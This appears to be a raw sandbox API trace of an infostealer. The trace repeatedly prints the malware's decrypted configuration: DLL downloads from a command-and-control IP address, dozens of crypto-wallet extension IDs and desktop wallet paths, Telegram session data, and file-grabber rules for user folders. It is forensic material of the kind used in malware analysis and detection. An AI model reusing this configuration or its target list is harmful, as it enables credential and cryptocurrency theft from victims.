Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.277] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x700f70 [0266.277] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.277] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x7038b8 [0266.277] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.277] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6ef5a0 [0266.278] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.278] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f1ee8 [0266.278] lstrlenW (lpString="green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3926 [0266.278] LocalAlloc (uFlags=0x40, uBytes=0x1f2c) returned 0x6f4830 [0266.278] StrCpyW (in: psz1=0x6fe628, psz2="BlockstreamGreen" | out: psz1="BlockstreamGreen") returned="BlockstreamGreen" [0266.278] LocalFree (hMem=0x6f4830) returned 0x0 [0266.278] StrStrW (lpFirst="28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension 